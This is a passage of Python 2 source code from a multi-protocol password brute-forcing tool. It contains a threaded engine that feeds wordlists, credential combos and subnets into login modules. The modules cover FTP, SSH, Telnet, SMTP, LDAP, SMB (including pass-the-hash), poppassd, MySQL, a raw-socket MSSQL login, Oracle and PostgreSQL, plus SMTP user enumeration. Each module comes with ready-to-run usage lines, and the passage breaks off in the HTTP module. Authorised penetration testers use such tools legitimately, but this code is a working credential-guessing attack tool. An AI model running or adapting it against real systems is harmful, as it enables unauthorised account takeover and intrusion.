- class Progress:
- def __init__(self):
- self.current = ''
- self.done_count = 0
- self.hits_count = 0
- self.fail_count = 0
- self.seconds = [1]*25 # avoid division by zero early bug condition
- # consumers
- for num in range(self.num_threads):
- pqueue = Queue()
- t = Thread(target=self.consume, args=(gqueues[num], pqueue))
- t.daemon = True
- t.start()
- self.thread_report.append(pqueue)
- self.thread_progress.append(Progress())
- def produce(self, queues):
- iterables = []
- for t, v, _ in self.iter_keys.itervalues():
- if t in ('FILE', 'COMBO'):
- #iterable, size = self.builtin_keywords[t](v)
- files = map(os.path.expanduser, v.split(','))
- size = sum(sum(1 for _ in open(f)) for f in files)
- iterable = chain(*map(open, files))
- elif t == 'NET':
- subnets = [IP(n, make_net=True) for n in v.split(',')]
- size = sum(len(s) for s in subnets)
- iterable = chain(*subnets)
- elif t == 'MOD':
- iterable, size = self.module.available_keys[v]()
- else:
- raise NotImplementedError("Incorrect keyword '%s'" % t)
- self.total_size *= size
- iterables.append(iterable)
- if self.stop:
- self.total_size = self.stop - self.start
- else:
- self.total_size -= self.start
- if self.resume:
- self.resume = map(int, self.resume.split(','))
- self.total_size -= sum(self.resume)
- logger.info('')
- logger.info('%-15s | %-25s \t | %5s | %s' % ('code & size', 'candidate', 'num', 'mesg'))
- logger.info('-' * 63)
- self.start_time = time()
- count = 0
- for pp in islice(product(*iterables), self.start, self.stop):
- cid = count % self.num_threads
- prod = map(lambda s: str(s).strip('\r\n'), pp)
- if self.resume:
- idx = count % len(self.resume)
- off = self.resume[idx]
- if count < off * len(self.resume):
- logger.debug('Skipping %d %s, resume[%d]: %s' % (count, ':'.join(prod), idx, self.resume[idx]))
- count += 1
- continue
- queues[cid].put(prod)
- count += 1
- for q in queues:
- q.put(None)
- def consume(self, gqueue, pqueue):
- module = self.module()
- rate_count = 0
- while True:
- prod = gqueue.get()
- if not prod: return
- payload = self.payload.copy()
- for i, (t, _, keys) in self.iter_keys.iteritems():
- if t == 'FILE':
- for k in keys:
- payload[k] = payload[k].replace('FILE%d' % i, prod[i])
- elif t == 'NET':
- for k in keys:
- payload[k] = payload[k].replace('NET%d' % i, prod[i])
- elif t == 'COMBO':
- for j, k in keys:
- payload[k] = payload[k].replace('COMBO%d%d' % (i, j), prod[i].split(self.combo_delim)[j])
- elif t == 'MOD':
- for k in keys:
- payload[k] = payload[k].replace('MOD%d' %i, prod[i])
- for k, m, e in self.enc_keys:
- payload[k] = re.sub(r'{0}(.+?){0}'.format(m), lambda m: e(m.group(1)), payload[k])
- pp_prod = ':'.join(prod)
- logger.debug('pp_prod: %s' % pp_prod)
- num_try = 0
- start_time = time()
- while num_try < self.max_retries or self.max_retries < 0:
- num_try += 1
- while self.paused:
- sleep(1)
- if self.rate_reset > 0:
- if rate_count >= self.rate_reset:
- logger.debug('Reset module')
- module = self.module()
- rate_count = 0
- if self.rate_limit:
- sleep(self.rate_limit)
- logger.debug('payload: %s' % payload)
- try:
- rate_count += 1
- resp = module.execute(**payload)
- except:
- e_type, e_value, _ = exc_info()
- resp = '%s, %s' % (e_type, e_value.args)
- logger.debug('except: %s' % resp)
- module = self.module()
- rate_count = 0
- sleep(self.failure_delay)
- continue
- actions = self.lookup_actions(resp)
- pqueue.put_nowait((actions, pp_prod, resp, time() - start_time))
- for a in self.module_actions:
- if a in actions:
- getattr(module, a)(**payload)
- if 'retry' in actions:
- logger.debug('Retry %d/%d: %s' % (num_try, self.max_retries, resp))
- sleep(self.failure_delay)
- continue
- break
- else:
- pqueue.put_nowait((['fail'], pp_prod, resp, time() - start_time))
- def monitor_progress(self):
- while active_count() > 1:
- self.report_progress()
- self.monitor_interaction()
- self.report_progress()
- def report_progress(self):
- for i, pq in enumerate(self.thread_report):
- while True:
- try:
- actions, current, resp, seconds = pq.get_nowait()
- logger.debug('actions: %s' % actions)
- except Empty:
- break
- p = self.thread_progress[i]
- offset = (self.start + p.done_count * self.num_threads) + i + 1
- p.current = current
- p.seconds[p.done_count % len(p.seconds)] = seconds
- if 'fail' in actions:
- p.fail_count += 1
- p.done_count += 1
- logger.warn('%-15s | %-25s \t | %5d | %s' % ('xxx', current, offset, resp))
- continue
- if 'ignore' not in actions:
- p.hits_count += 1
- logger.info('%-15s | %-25s \t | %5d | %s' % (resp.compact(), current, offset, resp))
- if self.log_dir:
- filename = '%d_%s' % (offset, resp.compact().replace(' ', '_'))
- with open('%s/%s.txt' % (self.log_dir, filename), 'w') as f:
- f.write(resp.dump())
- self.push_final(resp)
- if 'retry' not in actions:
- p.done_count += 1
- if 'quit' in actions:
- logger.info('Quitting (user match condition)')
- raise SystemExit
- def monitor_interaction(self):
- i, _, _ = select([stdin], [], [], .1)
- if not i: return
- command = stdin.readline().strip()
- if command == 'h':
- logger.info('''Available commands:
- h show help
- <Enter> show progress
- d/D increase/decrease debug level
- p pause progress
- f show verbose progress
- x arg add monitor condition
- a show all active conditions
- q terminate execution now
- ''')
- elif command == 'q':
- raise KeyboardInterrupt
- elif command == 'p':
- self.paused = not self.paused
- logger.info(self.paused and 'Paused' or 'Unpaused')
- elif command == 'd':
- logger.setLevel(logging.DEBUG)
- elif command == 'D':
- logger.setLevel(logging.INFO)
- elif command == 'a':
- logger.info(self.actions)
- elif command.startswith('x'):
- _, arg = command.split(' ', 1)
- self.update_actions(arg)
- else: # show progress
- total_count = sum(p.done_count for p in self.thread_progress)
- speed_avg = self.num_threads / (sum(sum(p.seconds) / len(p.seconds) for p in self.thread_progress) / self.num_threads)
- remain_seconds = (self.total_size - total_count) / speed_avg
- etc_time = datetime.now() + timedelta(seconds = remain_seconds)
- logger.info('Progress: {0:>3}% ({1}/{2}) | Speed: {3:.0f} r/s | ETC: {4} ({5} remaining) {6}'.format(
- total_count * 100/self.total_size,
- total_count,
- self.total_size,
- speed_avg,
- etc_time.strftime('%H:%M:%S'),
- pprint_seconds(remain_seconds, '%02d:%02d:%02d'),
- self.paused and '| Paused' or ''))
- if command == 'f':
- for i, p in enumerate(self.thread_progress):
- logger.info(' #{0}: {1:>3}% ({2}/{3}) {4}'.format(
- i,
- p.done_count * 100/(self.total_size/self.num_threads),
- p.done_count,
- self.total_size/self.num_threads,
- p.current))
- # }}}
- # Response_Base {{{
- def match_size(size, val):
- if '-' in val:
- size_min, size_max = val.split('-')
- if not size_min and not size_max:
- raise ValueError, 'Invalid interval'
- elif not size_min: # size == -N
- return size <= int(size_max)
- elif not size_max: # size == N-
- return size >= int(size_min)
- else:
- size_min, size_max = int(size_min), int(size_max)
- if size_min >= size_max:
- raise ValueError, 'Invalid interval'
- return size_min <= size <= size_max
- else:
- return size == int(val)
- class Response_Base:
- available_conditions = (
- ('code', 'match status code'),
- ('size', 'match size (N or N-M or N- or -N)'),
- ('mesg', 'match message'),
- ('fgrep', 'search for string'),
- ('egrep', 'search for regex'),
- )
- def __init__(self, code, mesg, trace=''):
- self.code, self.mesg = code, mesg
- self.size = len(self.mesg)
- self.trace = trace
- def compact(self):
- return '%s %s' % (self.code, self.size)
- def __str__(self):
- return self.mesg
- def match(self, key, val):
- return getattr(self, 'match_'+key)(val)
- def match_code(self, val):
- return val == str(self.code)
- def match_size(self, val):
- return match_size(self.size, val)
- def match_mesg(self, val):
- return val == self.mesg
- def match_fgrep(self, val):
- return val in str(self)
- def match_egrep(self, val):
- return re.search(val, str(self))
- def dump(self):
- return self.trace or str(self)
- # }}}
- # TCP_Cache {{{
- class TCP_Cache:
- available_actions = (
- ('reset', 'close current connection in order to reconnect for next probe'),
- )
- available_options = (
- ('persistent', 'use persistent connections [1|0]'),
- )
- cache_keys = ('host', 'port')
- def __init__(self):
- self.cache = {} # {'10.0.0.1:21': fp, ...}
- def __del__(self):
- for k in self.cache.keys():
- self.del_tcp(k)
- def get_key(self, **kwargs):
- keys = []
- for k in self.cache_keys:
- if k in kwargs:
- keys.append(kwargs[k])
- return ':'.join(k for k in keys if k is not None), keys
- def get_tcp(self, persistent, **kwargs):
- k, z = self.get_key(**kwargs)
- if k not in self.cache:
- logger.debug('New connection: %s' % k)
- fp, banner = self.new_tcp(*z)
- if persistent == '1':
- self.cache[k] = fp
- else:
- fp, banner = self.cache[k], ''
- return fp, banner
- def del_tcp(self, k):
- if k in self.cache:
- logger.debug('Delete connection: %s' % k)
- fp = self.cache[k]
- try: fp.close()
- except: pass
- del self.cache[k]
- def reset(self, **kwargs):
- k, _ = self.get_key(**kwargs)
- logger.debug('Reset connection: %s' % k)
- self.del_tcp(k)
- # }}}
- # FTP {{{
- from ftplib import FTP, Error as FTP_Error
- class FTP_login(TCP_Cache):
- '''Brute-force FTP authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt"""
- """ -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 -x reset:fgrep='Login successful'""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [21]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- )
- available_options += TCP_Cache.available_options
- Response = Response_Base
- def new_tcp(self, host, port):
- fp = FTP()
- resp = fp.connect(host, int(port or 21))
- return fp, resp
- def execute(self, host, port=None, user=None, password=None, persistent='1'):
- try:
- fp, resp = self.get_tcp(persistent, host=host, port=port)
- if user is not None:
- resp = fp.sendcmd('USER ' + user)
- if password is not None:
- resp = fp.sendcmd('PASS ' + password)
- logger.debug('No error: %s' % resp)
- except FTP_Error as (resp,):
- logger.debug('FTP_Error: %s' % resp)
- except EOFError:
- logger.debug('EOFError')
- resp = '500 Connection reset by peer'
- except socket.error:
- logger.debug('socket.error')
- resp = '500 Connection reset by peer'
- code, mesg = resp.split(' ', 1)
- return self.Response(code, mesg)
- # }}}
- # SSH {{{
- try:
- import paramiko
- l = logging.getLogger('paramiko.transport')
- l.setLevel(logging.CRITICAL)
- l.addHandler(handler)
- except ImportError:
- warnings.append('paramiko')
- class SSH_login(TCP_Cache):
- '''Brute-force SSH authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 user=root password=FILE0 0=passwords.txt"""
- """ -x ignore:mesg='Authentication failed.' -x ignore,reset,retry:mesg='No existing session' -x reset:code=0""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [22]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- ('auth_type', 'auth type to use [password|keyboard-interactive]'),
- )
- available_options += TCP_Cache.available_options
- Response = Response_Base
- cache_keys = ('host', 'port', 'user')
- def new_tcp(self, host, port, user):
- fp = paramiko.Transport('%s:%s' % (host, int(port or 22)))
- fp.start_client()
- return fp, fp.remote_version
- def execute(self, host, port=None, user=None, password=None, persistent='1', auth_type='password'):
- try:
- fp, resp = self.get_tcp(persistent, host=host, port=port, user=user)
- if user is not None and password is not None:
- if auth_type == 'password':
- fp.auth_password(user, password, fallback=False)
- elif auth_type == 'keyboard-interactive':
- fp.auth_interactive(user, lambda a,b,c: [password] if len(c) == 1 else [])
- else:
- raise NotImplementedError("Incorrect auth_type '%s'" % auth_type)
- logger.debug('No error')
- code, mesg = '0', resp
- except paramiko.AuthenticationException as e:
- logger.debug('AuthenticationException: %s' % e)
- code, mesg = '1', str(e)
- except paramiko.SSHException as e:
- logger.debug('SSHException: %s' % e)
- code, mesg = '1', str(e)
- return self.Response(code, mesg)
- # }}}
- # Telnet {{{
- from telnetlib import Telnet
- class Telnet_login(TCP_Cache):
- '''Brute-force Telnet authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 inputs='FILE0\\nFILE1' 0=logins.txt 1=passwords.txt persistent=0"""
- """ prompt_re='Username:|Password:' -x ignore:egrep='Login incorrect.+Username:'""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [23]'),
- ('inputs', 'list of values to input'),
- ('prompt_re', 'regular expression to match prompts [\w+]'),
- ('timeout', 'seconds to wait for prompt_re to match received data [20]'),
- )
- available_options += TCP_Cache.available_options
- Response = Response_Base
- def new_tcp(self, host, port):
- fp = Telnet(host, int(port or 23))
- self.prompt_count = 0
- return fp, None
- def execute(self, host, port=None, inputs=None, prompt_re='\w+:', timeout='20', persistent='1'):
- fp, _ = self.get_tcp(persistent, host=host, port=port)
- trace = ''
- timeout = int(timeout)
- if self.prompt_count == 0:
- _, _, raw = fp.expect([prompt_re], timeout=timeout)
- logger.debug('raw banner: %s' % repr(raw))
- trace += raw
- self.prompt_count += 1
- try:
- for val in inputs.split(r'\n'):
- logger.debug('input: %s' % val)
- cmd = val + '\n' #'\r\x00'
- fp.write(cmd)
- trace += cmd
- _, _, raw = fp.expect([prompt_re], timeout=timeout)
- logger.debug('raw %d: %s' % (self.prompt_count, repr(raw)))
- trace += raw
- self.prompt_count += 1
- mesg = repr(raw)[1:-1] # strip enclosing single quotes
- except EOFError as e:
- mesg = 'EOFError: %s' % e
- logger.debug(mesg)
- return self.Response('0', mesg, trace)
- # }}}
- # SMTP {{{
- from smtplib import SMTP, SMTPAuthenticationError, SMTPHeloError, SMTPException
- class SMTP_Base(TCP_Cache):
- available_options = TCP_Cache.available_options
- available_options += (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [25]'),
- ('helo', 'first command to send after connect [None]'),
- ('user', 'usernames to test'),
- )
- Response = Response_Base
- cache_keys = ('host', 'port', 'helo')
- def new_tcp(self, host, port, helo):
- fp = SMTP()
- resp = fp.connect(host, int(port or 25))
- if helo:
- cmd, name = helo.split(' ', 1)
- if cmd.lower() == 'ehlo':
- resp = fp.ehlo(name)
- else:
- resp = fp.helo(name)
- return fp, resp
- class SMTP_vrfy(SMTP_Base):
- '''Enumerate valid users using SMTP VRFY'''
- usage_hints = (
- '''%prog host=10.0.0.1 user=FILE0 0=logins.txt [helo='ehlo its.me.com']'''
- ''' -x ignore:fgrep='User unknown' -x ignore,reset,retry:code=421''',
- )
- def execute(self, host, port=None, helo=None, user=None, persistent='1'):
- fp, resp = self.get_tcp(persistent, host=host, port=port, helo=helo)
- if user is not None:
- resp = fp.verify(user)
- code, mesg = resp
- return self.Response(code, mesg)
- class SMTP_rcpt(SMTP_Base):
- '''Enumerate valid users using SMTP RCPT TO'''
- usage_hints = (
- '''%prog host=10.0.0.1 user=FILE0@localhost 0=logins.txt [helo='ehlo its.me.com']'''
- ''' [[email protected]] -x ignore:fgrep='User unknown' -x ignore,reset,retry:code=421''',
- )
- available_options = SMTP_Base.available_options
- available_options += (
- ('mail_from', 'sender email [[email protected]]'),
- )
- def execute(self, host, port=None, helo=None, mail_from='[email protected]', user=None, persistent='1'):
- fp, resp = self.get_tcp(persistent, host=host, port=port, helo=helo)
- if mail_from:
- resp = fp.mail(mail_from)
- if user:
- resp = fp.rcpt(user)
- fp.rset()
- code, mesg = resp
- return self.Response(code, mesg)
- class SMTP_login(SMTP_Base):
- '''Brute-force SMTP authentication'''
- usage_hints = (
- '''%prog host=10.0.0.1 [email protected] password=FILE0 0=passwords.txt [helo='ehlo its.me.com']''',
- ''' -x ignore:fgrep='Authentication failed' -x ignore,reset,retry:code=421''',
- )
- available_options = SMTP_Base.available_options
- available_options += (
- ('password', 'passwords to test'),
- )
- def execute(self, host, port=None, helo=None, user='', password='', persistent='1'):
- fp, resp = self.get_tcp(persistent, host=host, port=port, helo=helo)
- try:
- resp = fp.login(user, password)
- except (SMTPHeloError,SMTPAuthenticationError,SMTPException) as resp:
- logger.debug('SMTPError: %s' % resp)
- code, mesg = resp
- return self.Response(code, mesg)
- # }}}
- # LDAP {{{
- if not which('ldapsearch'):
- warnings.append('openldap')
- class Response_LDAP(Response_Base):
- def __init__(self, resp):
- self.code, self.out, self.err = resp
- self.size = len(self.out + self.err)
- self.mesg = ', '.join(p.strip() for p in self.out.splitlines() + self.err.splitlines())
- def dump(self):
- return '\n'.join(['out:', self.out, 'err:', self.err])
- # Because python-ldap-2.4.4 did not allow using a PasswordPolicyControl
- # during bind authentication (cf. http://article.gmane.org/gmane.comp.python.ldap/1003),
- # I chose to wrap around ldapsearch with "-e ppolicy".
- class LDAP_login:
- '''Brute-force LDAP authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 bindn='cn=Directory Manager' bindpw=FILE0 0=passwords.txt"""
- """ -x ignore:mesg='ldap_bind: Invalid credentials (49)'""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [389]'),
- ('binddn', 'usernames to test'),
- ('bindpw', 'passwords to test'),
- ('basedn', 'base DN for search'),
- ('ssl', 'use SSL/TLS [0|1]'),
- )
- available_actions = ()
- Response = Response_LDAP
- def execute(self, host, port='389', binddn='', bindpw='', basedn='', ssl='0'):
- uri = 'ldap%s://%s:%s' % ('s' if ssl != '0' else '', host, port)
- cmd = ['ldapsearch', '-H', uri, '-e', 'ppolicy', '-D', binddn, '-w', bindpw, '-b', basedn]
- p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env={'LDAPTLS_REQCERT': 'never'})
- out = p.stdout.read()
- err = p.stderr.read()
- code = p.wait()
- return self.Response((code, out, err))
- # }}}
- # SMB {{{
- try:
- from impacket import smb as impacket_smb
- except ImportError:
- warnings.append('impacket')
- class SMB_login(TCP_Cache):
- '''Brute-force SMB authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt"""
- """ -x ignore:fgrep=STATUS_LOGON_FAILURE -x reset:code=0""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [139]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- ('password_hash', "LM/NT hashes to test, at least one hash must be provided ('lm:nt' or ':nt' or 'lm:')"),
- ('domain', 'domains to test'),
- )
- available_options += TCP_Cache.available_options
- Response = Response_Base
- # ripped from medusa smbnt.c
- error_map = {
- 0xFF: 'UNKNOWN_ERROR_CODE',
- 0x00: 'STATUS_SUCCESS',
- 0x0D: 'STATUS_INVALID_PARAMETER',
- 0x5E: 'STATUS_NO_LOGON_SERVERS',
- 0x6D: 'STATUS_LOGON_FAILURE',
- 0x6E: 'STATUS_ACCOUNT_RESTRICTION',
- 0x6F: 'STATUS_INVALID_LOGON_HOURS',
- 0x70: 'STATUS_INVALID_WORKSTATION',
- 0x71: 'STATUS_PASSWORD_EXPIRED',
- 0x72: 'STATUS_ACCOUNT_DISABLED',
- 0x5B: 'STATUS_LOGON_TYPE_NOT_GRANTED',
- 0x8D: 'STATUS_TRUSTED_RELATIONSHIP_FAILURE',
- 0x93: 'STATUS_ACCOUNT_EXPIRED',
- 0x24: 'STATUS_PASSWORD_MUST_CHANGE',
- 0x34: 'STATUS_ACCOUNT_LOCKED_OUT',
- 0x01: 'AS400_STATUS_LOGON_FAILURE',
- }
- def new_tcp(self, host, port):
- fp = impacket_smb.SMB("*SMBSERVER", host, sess_port=int(port or 139))
- return fp, fp.get_server_name()
- def execute(self, host, port=None, user=None, password=None, password_hash=None, domain='', persistent='1'):
- fp, mesg = self.get_tcp(persistent, host=host, port=port)
- try:
- if user is not None:
- if password is not None:
- fp.login(user, password, domain)
- else:
- lmhash, nthash = password_hash.split(':')
- fp.login(user, '', domain, lmhash, nthash)
- code = '0'
- except impacket_smb.SessionError as e:
- code = '%x-%x' % (e.error_class, e.error_code)
- mesg = self.error_map.get(e.error_code, '')
- error_class = e.error_classes.get(e.error_class, None) # (ERRNT, {})
- if error_class:
- class_str = error_class[0] # 'ERRNT'
- error_tuple = error_class[1].get(e.error_code, None) # ('ERRnoaccess', 'Access denied.') or None
- if error_tuple:
- mesg += ' - %s %s' % error_tuple
- else:
- mesg += ' - %s' % class_str
- return self.Response(code, mesg)
- # }}}
- # POP {{{
- class Passd_Error(Exception): pass
- class Passd:
- def connect(self, host, port):
- self.fp = socket.create_connection((host, port))
- return self.getresp() # welcome banner
- def close(self):
- self.fp.close()
- def sendcmd(self, cmd):
- self.fp.sendall(cmd + '\r\n')
- return self.getresp()
- def getresp(self):
- resp = self.fp.recv(1024)
- while not resp.endswith('\r\n'):
- resp += self.fp.recv(1024)
- code, _ = self.unparse(resp)
- if not code.startswith('2'):
- raise Passd_Error, resp
- return resp
- def unparse(self, resp):
- i = resp.rstrip().rfind('\n') + 1
- code = resp[i:i+3]
- mesg = resp[i+4:]
- return code, mesg
- class POP_passd:
- '''Brute-force poppassd authentication (http://netwinsite.com/poppassd/ not POP3)'''
- usage_hints = (
- '''%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:code=500''',
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [106]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- )
- available_actions = ()
- Response = Response_Base
- def execute(self, host, port=None, user=None, password=None):
- try:
- fp = Passd()
- resp = fp.connect(host, int(port or 106))
- trace = resp
- if user is not None:
- cmd = 'user %s' % user
- resp = fp.sendcmd(cmd)
- trace += '\r\n'.join((cmd, resp))
- if password is not None:
- cmd = 'pass %s' % password
- resp = fp.sendcmd(cmd)
- trace += '\r\n'.join((cmd, resp))
- except Passd_Error as (resp,):
- logger.debug('Passd_Error: %s' % resp)
- trace += '\r\n'.join((cmd, resp))
- finally:
- fp.close()
- code, mesg = fp.unparse(resp)
- return self.Response(code, mesg, trace)
- # }}}
- # MySQL {{{
- try:
- import _mysql
- except ImportError:
- warnings.append('mysql-python')
- class MySQL_login:
- '''Brute-force MySQL authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:fgrep='Access denied for user'""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [3306]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- )
- available_actions = ()
- Response = Response_Base
- def execute(self, host, port=None, user='anony', password=''):
- try:
- fp = _mysql.connect(host=host, port=int(port or 3306), user=user, passwd=password)
- resp = '0', fp.get_server_info()
- except _mysql.Error, resp: pass
- code, mesg = resp
- return self.Response(code, mesg)
- # }}}
- # MSSQL {{{
- # I did not use pymssql because neither version 1.x nor 2.0.0b1_dev were multithreads safe (they all segfault)
- class MSSQL:
- # ripped from medusa mssql.c
- hdr = '\x02\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
- pt2 = '\x30\x30\x30\x30\x30\x30\x61\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x20\x18\x81\xb8\x2c\x08\x03\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x73\x71\x75\x65\x6c\x64\x61\x20\x31\x2e\x30\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
- pt3 = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x04\x02\x00\x00\x4d\x53\x44\x42\x4c\x49\x42\x00\x00\x00\x07\x06\x00\x00' \
- '\x00\x00\x0d\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00'
- langp = '\x02\x01\x00\x47\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
- '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x30\x30\x00\x00' \
- '\x00\x03\x00\x00\x00'
- def connect(self, host, port):
- self.fp = socket.create_connection((host, port))
- def login(self, user, password):
- MAX_LEN = 30
- user_len = len(user)
- password_len = len(password)
- data = self.hdr + user[:MAX_LEN] + '\x00' * (MAX_LEN - user_len) + chr(user_len) + \
- password[:MAX_LEN] + '\x00' * (MAX_LEN - password_len) + chr(password_len) + self.pt2 + chr(password_len) + \
- password[:MAX_LEN] + '\x00' * (MAX_LEN - password_len) + self.pt3
- self.fp.sendall(data)
- self.fp.sendall(self.langp)
- resp = self.fp.recv(1024)
- code, size = self.parse(resp)
- return code, size
- def parse(self, resp):
- i = 8
- while True:
- resp = resp[i:]
- code, size = unpack('<cH', resp[:3])
- #logger.debug('code: %s / size: %d' % (code.encode('hex'), size))
- if code == '\xfd': # Done
- break
- if code in ('\xaa', '\xab') : # Error or Info message
- num, state, severity, msg_len = unpack('IBBB', resp[3:10])
- msg = resp[11:11+msg_len]
- return num, msg
- i = size + 3
- raise Exception, 'Failed to parse response'
- class MSSQL_login:
- '''Brute-force MSSQL authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 user=sa password=FILE0 0=passwords.txt -x ignore:fgrep='Login failed for user'""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [1433]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- )
- available_actions = ()
- Response = Response_Base
- def __init__(self):
- self.m = MSSQL()
- def execute(self, host, port=None, user='', password=''):
- self.m.connect(host, int(port or 1433))
- code, mesg = self.m.login(user, password)
- return self.Response(code, mesg)
- # }}}
- # Oracle {{{
- try:
- import cx_Oracle
- except ImportError:
- warnings.append('cx_Oracle')
- class Oracle_login:
- '''Brute-force Oracle authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 sid=FILE0 0=sids.txt -x ignore:code=ORA-12505""",
- """%prog host=10.0.0.1 user=SYS password=FILE0 0=passwords.txt -x ignore:code=ORA-01017""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [1521]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- ('sid', 'sid or service names to test'),
- )
- available_actions = ()
- Response = Response_Base
- def execute(self, host, port=None, user='', password='', sid=''):
- dsn = cx_Oracle.makedsn(host, port or '1521', sid)
- try:
- fp = cx_Oracle.connect(user, password, dsn)
- code, mesg = '0', fp.version
- except cx_Oracle.DatabaseError as (e,):
- code, mesg = e.message[:-1].split(': ', 1)
- return self.Response(code, mesg)
- # }}}
- # PostgreSQL {{{
- try:
- import psycopg2
- except ImportError:
- warnings.append('psycopg')
- class Pgsql_login:
- '''Brute-force PostgreSQL authentication'''
- usage_hints = (
- """%prog host=10.0.0.1 user=postgres password=FILE0 0=passwords.txt -x ignore:fgrep='password authentication failed for user'""",
- )
- available_options = (
- ('host', 'hostnames or subnets to target'),
- ('port', 'ports to target [5432]'),
- ('user', 'usernames to test'),
- ('password', 'passwords to test'),
- ('database', 'databases to test [postgres]'),
- )
- available_actions = ()
- Response = Response_Base
- def execute(self, host, port=None, user=None, password=None, database='postgres', ssl='disable'):
- try:
- psycopg2.connect(host=host, port=int(port or 5432), user=user, password=password, database=database, sslmode=ssl)
- code, mesg = '0', 'OK'
- except psycopg2.OperationalError as e:
- code, mesg = '1', str(e)[:-1]
- return self.Response(code, mesg)
- # }}}
- # HTTP {{{
- from urllib import quote, urlencode
- from urlparse import urlparse, urlunparse, parse_qsl
- try:
- import pycurl
- except ImportError:
- warnings.append('pycurl')
- try:
- from cStringIO import StringIO
- except ImportError:
- from StringIO import StringIO
- class Controller_HTTP(Controller):
- def expand_key(self, arg):
- key, val = arg.split('=', 1)
- if key == 'url':
- m = re.match(r'(?:(?P<scheme>.+)://)?(?P<host>.+?)(?::(?P<port>[^/]+))?/'\
- + '(?P<path>[^;?#]*)'\
- + '(?:\;(?P<params>[^?#]*))?'\
- + '(?:\?(?P<query>[^#]*))?'\
- + '(?:\#(?P<fragment>.*))?' , val)
- if not m:
- yield (key, val)
- else:
- for k, v in m.groupdict().iteritems():
- if v is not None:
- yield (k, v)
- else:
- yield (key, val)
- class Response_HTTP(Response_Base):
- def __init__(self, code, content_length, response, trace):
- self.code, self.content_length = code, content_length
- self.response, self.trace = response, trace
- self.size = len(self.response)
- def compact(self):
- return '%s %s' % (self.code, '%d:%d' % (self.size, self.content_length))
- def __str__(self):
